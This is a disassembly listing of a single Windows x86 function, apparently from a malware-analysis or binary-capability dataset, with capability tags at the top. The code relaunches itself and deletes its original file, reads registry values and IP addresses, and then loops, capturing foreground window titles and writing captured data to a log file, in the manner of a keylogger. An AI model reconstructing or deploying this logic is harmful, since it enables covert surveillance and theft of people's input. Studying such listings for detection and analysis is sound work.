Function at 0x406fac
Capabilities:
Create process on windows
Delete file
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov eax, 0x406f74
call fcn.00403e40
xor eax, eax
push ebp
push 0x40754f
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x4194bc
xor eax, eax
call fcn.004025e0
call fcn.00404970
test eax, eax
jne 0x406fef
call fcn.00402d98
mov eax, 0x4194f0
call fcn.00402ec8
mov di, 1
push dword [0x4194f0]
lea edx, [ebp - 0x10]
movzx eax, di
call fcn.004025e0
push dword [ebp - 0x10]
push 0x407568
mov eax, 0x4194f0
mov edx, 3
call fcn.004030f8
inc edi
cmp di, 0xa
jne 0x406ffd
lea edx, [ebp - 0x10]
mov eax, dword [0x4194bc]
call fcn.00404150
push dword [ebp - 0x10]
lea eax, [ebp - 0x14]
mov dl, byte [0x4080ac]
call fcn.00402fdc
push dword [ebp - 0x14]
push dword [0x4080c8]
mov eax, 0x4194ec
mov edx, 3
call fcn.004030f8
mov edx, dword [0x4194ec]
mov eax, dword [0x4194bc]
call fcn.004049dc
test eax, eax
je 0x4070c3
push 5
push 0x40756c
mov eax, dword [0x4194f0]
call fcn.004031fc
push eax
mov eax, dword [0x4194ec]
call fcn.004031fc
push eax
mov eax, dword [0x4080dc]
call fcn.004031fc
push eax
push 0
call sub.shell32.dll_ShellExecuteA
push 0x258
call sub.kernel32.dll_Sleep
mov eax, dword [0x4194ec]
call fcn.004031fc
push eax
call sub.kernel32.dll_DeleteFileA
test eax, eax
je 0x4070a5
mov edx, 0x419514
mov eax, dword [0x4194bc]
call fcn.004052c4
mov eax, dword [0x408130]
mov edx, dword [0x408108]
call fcn.00403148
jne 0x4070e9
call fcn.00405bd0
mov eax, dword [0x40812c]
mov edx, dword [0x408108]
call fcn.00403148
jne 0x407100
call fcn.00405c5c
cmp dword [0x419514], 0
jne 0x40710e
call fcn.00402d98
call fcn.00405780
mov word [0x4194f4], 0x12c
mov eax, 0x4194f8
xor ecx, ecx
mov edx, 0x10
call fcn.00403fc0
mov byte [0x419508], 1
mov eax, 0x419510
call fcn.00402ec8
xor eax, eax
mov dword [0x419518], eax
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [0x4080fc]
mov edx, dword [0x4080e0]
mov eax, 0x80000002
call fcn.00405798
mov edx, dword [ebp - 0x10]
mov eax, 0x4194d4
call fcn.00402f1c
mov eax, dword [0x408138]
call fcn.004031fc
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [0x4194cc], eax
mov eax, dword [0x40813c]
call fcn.004031fc
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [0x4194d0], eax
mov eax, dword [0x4194cc]
mov dword [0x4194c8], eax
mov eax, 0x419524
mov edx, dword [0x408140]
call fcn.00402f1c
xor eax, eax
mov dword [0x419528], eax
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x10]
call fcn.0040527c
lea eax, [ebp - 0x10]
mov edx, dword [0x408100]
call fcn.00403040
mov eax, dword [ebp - 0x10]
call fcn.004031fc
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x4194c0], eax
cmp dword [0x4194c0], 0xffffffff
je 0x407534
cmp dword [0x4194c0], 0xffff
je 0x407534
push 2
push 0
push 0
mov eax, dword [0x4194c0]
push eax
call sub.kernel32.dll_SetFilePointer_1
test eax, eax
jle 0x40723a
mov dword [0x419528], 0xffffffff
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [0x4080e8]
mov edx, dword [0x4080e0]
mov eax, 0x80000002
call fcn.00405798
cmp dword [ebp - 0x10], 0
jne 0x40725f
call fcn.00402d98
movzx ebx, word [0x4194f4]
push ebx
call sub.kernel32.dll_Sleep
add dword [0x419518], ebx
cmp dword [0x419518], 0x2bf20
jl 0x4072fb
xor eax, eax
mov dword [0x419518], eax
mov edx, 0x419520
mov eax, 0x41951c
call fcn.00405cf0
test eax, eax
je 0x4072fb
mov eax, dword [0x41951c]
mov edx, dword [0x419524]
call fcn.00403148
je 0x4072fb
push dword [0x41951c]
lea eax, [ebp - 0x14]
mov dl, byte [0x4080b0]
call fcn.00402fdc
push dword [ebp - 0x14]
push dword [0x419520]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004030f8
mov edx, dword [ebp - 0x10]
mov eax, dword [0x4194c0]
call fcn.00404cf4
mov dword [0x419528], 0xffffffff
mov eax, 0x419524
mov edx, dword [0x41951c]
call fcn.00402f1c
call fcn.0040575c
mov byte [0x419509], al
xor esi, esi
mov di, 4
mov ebx, 0x4194f8
cmp dword [ebx], 0
je 0x40731a
or esi, 0xffffffff
jmp 0x407322
add ebx, 4
dec di
jne 0x407310
mov eax, dword [0x408134]
mov edx, dword [0x408108]
call fcn.00403148
jne 0x4073b8
cmp dword [0x419528], 0
je 0x4073b8
test esi, esi
jne 0x4073b8
call fcn.00405de8
test eax, eax
je 0x4073b8
mov eax, dword [0x4194c0]
push eax
call sub.kernel32.dll_CloseHandle_1
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x10]
call fcn.0040527c
lea eax, [ebp - 0x10]
mov edx, dword [0x408100]
call fcn.00403040
mov eax, dword [ebp - 0x10]
call fcn.004031fc
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x4194c0], eax
cmp dword [0x4194c0], 0xffffffff
je 0x407534
cmp dword [0x4194c0], 0xffff
je 0x407534
xor eax, eax
mov dword [0x419528], eax
neg esi
sbb eax, eax
neg eax
test al, al
jne 0x4073cd
mov word [0x4194f4], 0x12c
jmp 0x4073d6
mov word [0x4194f4], 0xa
xor eax, eax
mov al, byte [0x419508]
mov edx, dword [0x408124]
mov al, byte [edx + eax - 1]
cmp al, byte [0x419509]
jne 0x407419
inc byte [0x419508]
mov eax, dword [0x408124]
call fcn.004031fc
push eax
call sub.kernel32.dll_lstrlenA_1
xor edx, edx
mov dl, byte [0x419508]
dec edx
cmp eax, edx
jne 0x407429
call fcn.00406ba4
jmp 0x407429
cmp byte [0x419509], 7
jbe 0x407429
mov byte [0x419508], 1
mov ebx, 0xff
mov eax, 0x41950c
mov edx, ebx
call fcn.004032c4
push ebx
mov eax, dword [0x41950c]
call fcn.004031fc
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
mov ebx, eax
mov eax, 0x41950c
mov edx, ebx
call fcn.004032c4
mov di, 1
mov ebx, 0x408110
mov esi, 0x4194f8
mov edx, dword [0x41950c]
mov eax, dword [ebx]
call fcn.0040327c
test eax, eax
je 0x4074ae
mov dword [esi], 0xffffffff
cmp byte [0x419509], 7
jbe 0x40751e
lea eax, [ebp - 0x10]
mov dl, byte [0x419509]
call fcn.00402fdc
mov edx, dword [ebp - 0x10]
mov eax, 0x419510
call fcn.00403040
jmp 0x40751e
cmp dword [esi], 0
je 0x40751a
cmp dword [0x419510], 0
je 0x40751a
push dword [0x419510]
lea eax, [ebp - 0x10]
mov dl, byte [0x4080b0]
call fcn.00402fdc
push dword [ebp - 0x10]
lea eax, [ebp - 0x14]
mov edx, edi
add dl, 0x30
call fcn.00402fdc
push dword [ebp - 0x14]
mov eax, 0x419510
mov edx, 3
call fcn.004030f8
mov edx, dword [0x419510]
mov eax, dword [0x4194c0]
call fcn.00404cf4
test eax, eax
je 0x407510
mov dword [0x419528], 0xffffffff
mov eax, 0x419510
call fcn.00402ec8
xor eax, eax
mov dword [esi], eax
inc edi
add esi, 4
add ebx, 4
cmp di, 5
jne 0x40746d
jmp 0x40723a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407556
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00402eec
ret